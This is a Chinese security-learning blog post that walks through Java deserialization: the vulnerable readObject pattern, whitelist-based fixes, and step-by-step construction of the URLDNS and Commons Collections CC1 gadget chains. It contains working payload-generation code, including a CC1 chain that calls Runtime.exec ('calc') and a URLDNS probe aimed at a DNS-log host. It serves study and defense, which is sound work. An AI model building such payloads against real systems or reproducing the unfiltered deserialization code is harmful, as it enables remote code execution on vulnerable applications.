Java反序列化链调试—初探(URLDNS、CC):一

本文首发于:https://lrui1.top/posts/7929b704/

目前而言,想拿权限,大部分都依赖命令注入或者反序列化漏洞的利用,下文是作者调试Java反序列化常见利用链的随手记录,个人理解调试Java反序列化链可以自上而下的理解漏洞的利用过程。

环境清单

  • JDK 1.8.0_65
  • Apache commons collections 3.2.1
  • IDEA 2025.2.3

序列化&反序列化

定义一个User实体

package top.lrui1.pojo;  
  
  
import java.io.Serializable;  
  
public class User implements Serializable {  
    private static final long serialVersionUID = 1L;  
  
    private Long id;  
    private String username;  
    private String password;  
    private String description;  
  
    public User() {  
        System.out.println("调用无参构造");  
    }  
  
    public User(Long id, String username, String password, String description) {  
        this.id = id;  
        this.username = username;  
        this.password = password;  
        this.description = description;  
        System.out.println("调用有参构造");  
    }  
  
    public String getUsername() {  
        System.out.println("调用get");  
        return username;  
    }  
  
    public void setUsername(String username) {  
        System.out.println("调用set");  
        this.username = username;  
    }  
  
    public Long getId() {  
        return id;  
    }  
  
    public void setId(Long id) {  
        this.id = id;  
    }  
  
    public String getPassword() {  
        return password;  
    }  
  
    public void setPassword(String password) {  
        this.password = password;  
    }  
  
    public String getDescription() {  
        return description;  
    }  
  
    public void setDescription(String description) {  
        this.description = description;  
    }  
  
    @Override  
    public String toString() {  
        return "User{" +  
                "id=" + id +  
                ", username='" + username + '\'' +  
                ", password='" + password + '\'' +  
                ", description='" + description + '\'' +  
                '}';  
    }  
}

序列化与反序列化

package top.lrui1;

import org.junit.Test;
import top.lrui1.pojo.User;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class FirstCode {

    @Test
    public void ser() throws IOException {
        User user = new User();
        user.setId(1L);
        user.setUsername("test");
        user.setPassword("test");
        user.setDescription("This is test");
        String outfile = "firstCode.bin";
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(outfile)));
        oos.writeObject(user);
        oos.close();
        System.out.println("ser success!");
    }

    @Test
    public void unser() throws IOException, ClassNotFoundException {
        String outfile = "firstCode.bin";
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));
        Object o = ois.readObject();
        ois.close();
        User user = (User) o;
        System.out.println(user);
    }
}

image.png

个人理解:序列化就是将Java对象变成一个二进制序列,方便存储,传输;反序列化就是将二进制序列还原成Java对象(利用反射填属性值),随后让程序执行其他相关逻辑

反序列化漏洞

漏洞代码

对于以下代码

@Test
public void unser() throws IOException, ClassNotFoundException {
	String outfile = "firstCode.bin";
	ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));
	Object o = ois.readObject();
	ois.close();
	User user = (User) o;
	System.out.println(user);
}

如果ObjectInputStream所打开的数据流是不可信的(文件流或其他流可被用户控制),就存在反序列化漏洞。

原因分析

可以参考 https://su18.org/post/ysoserial-su18-1/#三-反序列化漏洞

总结一句话:反序列化过程中,如果目标类重写了readObject方法,则会调用相应的重写逻辑;通过控制相关逻辑可以用来利用反序列化漏洞

修复方案

修复代码如下

方法一:使用 JDK 9+ 的 JEP 290 (ObjectInputFilter)

JDK 9 或更高版本(或者在 JDK 8 的高版本更新中)

@Test  
public void safeUnSer() throws Exception {  
    String outFile="urldns.bin";  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outFile)));  
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(  
            "top.lrui1.pojo.User;java.lang.*;!*"  
    );  
    ois.setObjectInputFilter(filter);  
    Object o = ois.readObject();  
    if (o instanceof User) {  
        User user = (User) o;  
        System.out.println(user);  
    }  
}

在使用白名单时,不仅要放行 User 类本身,还需要放行 User 类中所有成员变量的类型(例如 User 里有个 String name,你就必须允许 java.lang.String)。如果漏掉了成员变量的类型,反序列化会报错失败。

方法二:自定义ObjectInputStream、重写resolveClass、白名单校验

/**  
 * 自定义ObjectInputStream,覆写resolveClass,加白名单  
 * @throws Exception  
 */@Test  
public void safeUnSer2() throws Exception {  
    class SecureObjectInputStream extends ObjectInputStream {  
        // 定义白名单:包含 User 类本身以及 User 类中字段可能用到的类(如 String, ArrayList 等)  
        // 不能使用通配符  
        private final Set<String> WHITELIST = new HashSet<>(Arrays.asList(  
                "top.lrui1.pojo.User",  
                "java.lang.String",  
                "java.lang.Integer",  
                "java.lang.Long",  
                "java.lang.Number"  
                // 注意:如果 User 类包含其他引用类型,必须全部加进来  
        ));  
  
        public SecureObjectInputStream(InputStream in) throws IOException {  
            super(in);  
        }  
  
        @Override  
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
            // 在类被实例化之前进行检查  
            if (!WHITELIST.contains(desc.getName())) {  
                throw new InvalidClassException("不在白名单,Unauthorized deserialization attempt", desc.getName());  
            }  
            return super.resolveClass(desc); // 检查通过,调用父类方法正常解析  
        }  
    }  
  
    String outFile="firstCode.bin";  
    ObjectInputStream ois = new SecureObjectInputStream(Files.newInputStream(Paths.get(outFile)));  
    Object o = ois.readObject();  
    if (o instanceof User) {  
        User user = (User) o;  
        System.out.println(user);  
    }  
}

方法三:使用Apache Commons IO

@Test  
public void safeUnSer3() throws Exception {  
    String outfile = "urldns.bin";  
    InputStream in = Files.newInputStream(Paths.get(outfile));  
    ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()  
            .accept(User.class, Number.class, Long.class) // String.class is automatically accepted  
            .setInputStream(in)  
            .get();  
    User user = (User) vois.readObject();  
    vois.close();  
    System.out.println(user);  
}

将配置单独定义

@Test  
public void safeUnSer3OtherCode() throws Exception {  
    final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()  
            .accept(User.class, Number.class, Long.class);  
  
    String outfile = "urldns.bin";  
    InputStream in = Files.newInputStream(Paths.get(outfile));  
    ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()  
            .setPredicate(predicate)  
            .setInputStream(in)  
            .get();  
    User user = (User) vois.readObject();  
    vois.close();  
    System.out.println(user);  
}

通过阻止非预期的类进行反序列化,能解决大多数场景下的漏洞问题;但是白名单中的类本身存在一条可利用的反序列化链,那么漏洞还是存在

举个栗子,白名单中存在HashMap和URL

final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()
                .accept(User.class, Number.class, Long.class,HashMap.class, URL.class,Integer.class);

攻击者可以利用URLDNS这个链来进行探测

在添加白名单的时候,要保证常见的利用链不包含在白名单中

总结

对于Java原生反序列化,漏洞产生的原因:用户直接反序列化不可信数据(未对数据作任何校验)

利用条件:

1、存在反序列化漏洞

2、有反序列化链可以被利用

下文探究一些Java常见的反序列化链,来学习漏洞的利用过程

URLDNS

自底向上理解

对于URL这个类,其equals和hashcode都存在解析主机名的行为,下面基于hashcode的调用进行分析

触发DNS解析(Sink Gadget)

URL.hashCode 代码如下

image.png

当hashCode不为-1,直接返回;否则调用URLStreamHandler.hashCode方法获取值并返回

URLStreamHandler.hashCode关键代码如下

image.png

对传入的URL对象,先获取协议,h += 协议的hashcode;随后在353行调用getHostAddress解析主机名

URLStreamHandler.getHostAddress代码如下

image.png

InetAddress.getByName,获取主机名的IP地址

总结:只要URL对象的hashcode方法被调用,就会解析对象中存储的host地址

目前的调用链

URL.hashCode()
	URLStreamHandler.hashCode()
		URLStreamHandler.getHostAddress()

调用覆写的readObject(kick-off gadget)

HashMap.readObject关键代码如下

image.png

1361~1400,前面的代码对获取map的一些就基本信息后,1394获取key后,1397存入map时调用hash()获取key的Hash值

HashMap.hash代码如下

image.png

对传入的key为空,返回0;不为空调用Key的hashCode方法

所以对于HashMap,只要Key的类为java.net.URL,那么在反序列化的过程中就会调用java.net.URL.hashCode,触发过程3

总结:目前的调用链

HashMap.readObject()
	HashMap.hash()
		URL.hashCode()
			URLStreamHandler.hashCode()
				URLStreamHandler.getHostAddress()

反序列化漏洞(readObject调用处)

top.lrui1.Unser.main代码如下

image.png

从命令行获取文件名,无白名单控制下,反序列化不可信数据

构造payload

构造一个Key为URL的HashMap,序列化出来即可

HashMap的put方法会调用putVal,其中putVal的第一个参数用了hash()方法对Key获取Hash值
在构造时可以先设置URL对象的hashcode值不为-1,存入map后在设置为-1,等待触发解析

@Test  
public void sec() throws Exception {  
    HashMap<URL, Integer> map = new HashMap<>();  
    URL url = new URL("http://0j02oed5.eyes.sh");  
    // 反射获取HashCode,先修改值不为-1,规避DNS解析  
    Field f = URL.class.getDeclaredField("hashCode");  
    f.setAccessible(true);  
    f.set(url, 1);  
  
    // 放入map  
    map.put(url, 1);  
  
    // 修改hashCode为-1,等待反序列化正常触发DNS解析  
    f.set(url, -1);  
  
    // 序列化  
    ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin")));  
    oos.writeObject(map);  
}

ysoserial的视线代码

public Object getObject(final String url) throws Exception {  
  
        //Avoid DNS resolution during payload creation  
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.        URLStreamHandler handler = new SilentURLStreamHandler();  
  
        HashMap ht = new HashMap(); // HashMap that will contain the URL  
        URL u = new URL(null, url, handler); // URL to use as the Key  
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.  
  
        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.  
  
        return ht;  
}  
  
public static void main(final String[] args) throws Exception {  
        PayloadRunner.run(URLDNS.class, args);  
}  
  
/**  
 * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.  
 * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p>  
 *  
 * <b>Potential false negative:</b>  
 * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the  
 * second resolution.</p>  
 */  
static class SilentURLStreamHandler extends URLStreamHandler {  
  
        protected URLConnection openConnection(URL u) throws IOException {  
                return null;  
        }  
  
        protected synchronized InetAddress getHostAddress(URL u) {  
                return null;  
        }  
}

通过自定义一个URLStreamHandler的子类,重写getHostAddress方法,在使用hashmap.put方法存入值,HashMap.hash -> ···· -> SilentURLStreamHandler.getHostAddress,不触发解析,随后将URL.hashcode设置为-1,让反序列化时触发解析

总结

URLDNS链无JDK版本限制,可以方便的用来探测程序反序列化时是否有配置白名单

运行测试代码的调用堆栈如下

java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:436) // 触发DNS解析
java.net.URLStreamHandler.hashCode(URLStreamHandler.java:353) 
java.net.URL.hashCode(URL.java:878)
java.util.HashMap.hash(HashMap.java:338)
java.util.HashMap.readObject(HashMap.java:1397) // 调用覆写的readObject
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20) // 调用ois.readObject

CC1

Apache Common Collections这个库存在可利用的反序列化链,相关类的了解学习可参考

https://su18.org/post/ysoserial-su18-2/#前置知识

相关类学习

InvokerTransformer

transform代码如下

public Object transform(Object input) {  
    if (input == null) {  
        return null;  
    }  
    try {  
        Class cls = input.getClass();  
        Method method = cls.getMethod(iMethodName, iParamTypes);  
        return method.invoke(input, iArgs);  
              
    } catch (NoSuchMethodException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");  
    } catch (IllegalAccessException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
    } catch (InvocationTargetException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);  
    }  
}

根据传入的input,获取其Class,调用方法;构造函数中可以设置iMethodName、iParamTypes

测试代码如下

@Test  
public void InvokeTransformerTest(){  
    InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    itf.transform(Runtime.getRuntime());  
}

ChainedTransformer

transform代码如下

public Object transform(Object object) {  
    for (int i = 0; i < iTransformers.length; i++) {  
        object = iTransformers[i].transform(object);  
    }  
    return object;  
}

根据属性中的transform,循环调用;并将这次transform的返回值作为下一个transform的输入

测试代码如下

@Test  
public void ChainedTransformerTest(){  
    InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{itf});  
    chtf.transform(Runtime.getRuntime());  
}

ConstantTransformer

transform代码如下

public Object transform(Object input) {  
    return iConstant;  
}

直接返回属性中的iConstant,其值可以通过构造函数设置

测试代码如下

@Test  
public void ConstantTransformerTest(){  
    ConstantTransformer ctf = new ConstantTransformer(Runtime.getRuntime());  
    InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{ctf,itf});  
    chtf.transform("随便输入");  
}

其实这个才是ChainedTransformer的测试代码吧

攻击链构造

ChainedTransformer

根据以上测试代码,我们可以构造一个Transformer链,测试代码如下

@Test  
public void testTransform() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    chainedTransformer.transform("随便输入");  
}

调用链如下

ChainedTransformer.transform()
	ConstantTransformer.transform()
	InvokerTransformer.transform()
	InvokerTransformer.transform()
	InvokerTransformer.transform() // sink Gadget

ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Serializable接口,他们可以被序列化

TransformedMap

ChainedTransformer的readObject方法并没有调用其自身的transform方法,还要往上继续找链,在IDEA中,右键Transformer.transform方法,选择Find Usage,查找其他类调用Transformer.transform的情况

image.png

找到一个类:TransformedMap,有三个调用,分析其中一个调用,transformKey方法调用了自身属性keyTransformer.transform方法;对TransformedMap.transformKey右键Find Usage,发现两处调用,TransformedMap.transformMap、TransformedMap.put

作者这边分析的这个调用并不是CC1中的一个环节,可直接跳到后面分析setValue调用,那个才是CC1中的一个传递链

image.png

TransformedMap继承于AbstractInputCheckedMapDecorator这个抽象类,AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator,AbstractMapDecorator这个类实现了Map接口,所以TransformedMap.put这个方法可由Map.put进行调用,比较泛用,先从它入手

目前调用链的顶层是TransformedMap,可通过put方法触发我们构造的攻击链,测试代码如下

鸽一下关于TransformedMap的构造函数分析,我们要序列化类就要分析它要怎么创建,可以让AI干

@Test  
public void testTransform2() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> hashmap = new HashMap<String, String>();  
    hashmap.put("test","test");  
    hashmap.put("test2","test");  
    Map map = TransformedMap.decorate(hashmap, chainedTransformer, null);  
    map.put("test","test123");  
}

TransformedMap.readObject主要是通过父类的readObject进行反序列化,具体代码如下

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
    in.defaultReadObject();  
    map = (Map) in.readObject();  
}

没有调用自身的put方法,也就没有调用transform,需要找其他类能触发TransformedMap.put方法的类,还要往上继续找链

根据之前对Transformer.transform,Find Usage的分析,除了transformKey、还有其他两个调用transformValue、checkSetValue;参考上述分析,可以总结出下方的利用链(CC1实际是利用到了setValue())

TransformedMap.put() or TransformedMap.putAll() or TransformedMap.setValue()
	ChainedTransformer.transform()
		ConstantTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform() // sink Gadget

实际是作者尝试往put找链失败了hh,补充一下setValue的找链过程吧

TransformedMap.checkSetValue()

之前对Transformer.transform方法的Find Usage,发现TransformedMap.checkSetValue这个调用点,代码如下

protected Object checkSetValue(Object value) {  
    return valueTransformer.transform(value);  
}

继续对TransformedMap.setValue做Find Usage

image.png

有且只有一个调用点:AbstractInputCheckedMapDecorator.MapEntry.setValue,这个方法覆写了AbstractInputCheckedMapDecorator的父类AbstractMapEntryDecorator的setValue;因为AbstractMapEntryDecorator实现了Map接口,所以这个setValue也作为了Map接口里的实现方法

setValue方法描述java.util.Map.Entry#setValue

测试代码如下

@Test  
public void testTransform3() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> hashmap = new HashMap<String, String>();  
    hashmap.put("test","test");  
    hashmap.put("test2","test");  
    Map map = TransformedMap.decorate(hashmap, null, chainedTransformer);  
    Set<Map.Entry<String, String>> set = map.entrySet();  
    for (Map.Entry<String, String> entry : set) {  
        Map.Entry<String, String> tmp;  
        entry.setValue("test123");  
    }  
    System.out.println(map);  
  
}

调用链如下

AbstractInputCheckedMapDecorator$MapEntry.setValue()
	TransformedMap.checkSetValue()
		ChainedTransformer.transform()
			ConstantTransformer.transform()
			InvokerTransformer.transform()
			InvokerTransformer.transform()
			InvokerTransformer.transform() // sink Gadget

AnnotationInvocationHandler

老样子,对setValue在IDEA中Find Usage,

image.png

readObject调用setValue,Holishift,找到入口类了

如果没查到,可以去Github下载一下源码(Oracle自带的有一些类没有),并在SDK哪里配置源码路径,下载地址 https://github.com/openjdk/jdk ,选择对应的tag直接下载zip即可,导入直接导zip就行,IDEA会自己扫

接下来就是分析这个类对象的创建和反序列化过程了,看什么条件下会触发这个setValue

类属性如下

private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;  
private final Map<String, Object> memberValues;  
private transient volatile Method[] memberMethods = null;

猜测memberValues要存储我们前面的TransformedMap

readObject方法如下

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {  
    var1.defaultReadObject();  
    Object var2 = null;  
  
    try {  
        var10 = AnnotationType.getInstance(this.type);  
    } catch (IllegalArgumentException var9) {  
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
  
    Map var3 = var10.memberTypes();  
  
    for(Map.Entry var5 : this.memberValues.entrySet()) {  
        String var6 = (String)var5.getKey();  
        Class var7 = (Class)var3.get(var6);  
        if (var7 != null) {  
            Object var8 = var5.getValue();  
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {  
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));  
            }  
        }  
    }

上面那个是反编译的,这个是Github OpenJDK 源码的代码

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    s.defaultReadObject();  
  
  
    // Check to make sure that types have not evolved incompatibly  
  
    AnnotationType annotationType = null;  
    try {  
        annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
        // Class is no longer an annotation type; all bets are off  
        return;  
    }  
  
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
        String name = memberValue.getKey();  
        Class<?> memberType = memberTypes.get(name);  
        if (memberType != null) {  // i.e. member still exists  
            Object value = memberValue.getValue();  
            if (!(memberType.isInstance(value) ||  
                  value instanceof ExceptionProxy)) {  
                memberValue.setValue(  
                    new AnnotationTypeMismatchExceptionProxy(  
                        value.getClass() + "[" + value + "]").setMember(  
                            annotationType.members().get(name)));  
            }  
        }  
    }  
}

这里推荐参考这篇文章的思考思路,毕竟这个代码可读性对我这种小白而言可读性很糟糕,所以静态结合动态分析逻辑是个很好的方法 https://www.freebuf.com/articles/web/410767.html

简单分析其逻辑

1、s.defaultReadObject(); 利用反射从流中获取值写入属性

2、利用type的值,获取AnnotationType对象,即我们反序列化的type(注解的详细信息)

3、获取我们传入注解的成员信息,存到memberTypes

4、进入循环,遍历我们反序列化传入的memberValues(一个Map);

循环逻辑:获取memberValues的key,用这个key去存到memberTypes里查找值,赋值给memberType,如果该值存在,执行 IF 逻辑1

if逻辑1:获取memberValues的Value赋值给value,如果memberTypevalue之间不可赋值 或者 value是ExceptionProxy的示例,执行memberValue.setValue,触发攻击链

isInstance()方法等效于 instance of运算符

所以我们要执行memberValue.setValue并触发攻击链,有以下条件

  1. 反序列化传入的memberValues为前面的 TransformedMap
  2. 反序列化传入的type 需要有属性——传入的接口需要有属性
  3. type属性字段名需要有一个在TransformedMap的Key中
  4. 条件3 TransformedMap Key对应的value不能赋值给type属性字段

假设传入的type为Target,其有一个属性ElementType[] value();,我们可以定义TransformedMap<String, String>,并put一个"value":"随便输入"即可(String和ElementType[]一个数组,一个普通类型,不能赋值)

接下来就是构造AnnotationInvocationHandler这个对象,其构造方法如下

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {  
    this.type = type;  
    this.memberValues = memberValues;  
}

直接进行赋值,由于是默认权限,包级私有,需要利用反射,在进行调用

构造的测试代码如下

@Test  
public void testCC1() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射获取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,获取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 执行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> map = new HashMap<String, String>();  
    map.put("value","test");  
    map.put("test2","test2");  
    Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);  
  
    Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    Object payload = constructor.newInstance(Target.class, transformedMap);  
    ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));  
    ous.writeObject(payload);  
    System.out.println("ser successfully!");  
}  
  
public static void main(String[] args) throws Exception {  
    Scanner sc = new Scanner(System.in);  
    String s = sc.nextLine();  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));  
    Object o = ois.readObject();  
    ois.close();  
    System.out.println("unser successfully");  
    User user = (User) o;  
    System.out.println(user);  
    sc.close();  
}

image.png

总结

调用链如下

AnnotationInvocationHandler.readObject() // kick-off gadget
	AbstractInputCheckedMapDecorator$MapEntry.setValue()
		TransformedMap.checkSetValue()
			ChainedTransformer.transform() // 中间都是 chain gadget
				ConstantTransformer.transform() 
				InvokerTransformer.transform()
				InvokerTransformer.transform()
				InvokerTransformer.transform() // sink Gadget

调用堆栈如下

org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204)
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:192)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

写在最后

关于CC1还有一个利用LazyMap的利用链,就留在下一篇文章再来调试吧(菜狗搞这篇文章已经搞了2天半,大概17h了)

参考链接

https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/serialization/ValidatingObjectInputStream.html

https://su18.org/post/ysuserial/

https://www.freebuf.com/articles/web/410767.html

posted @ 2026-01-13 18:36  lrui1  阅读(4)  评论(0)    收藏  举报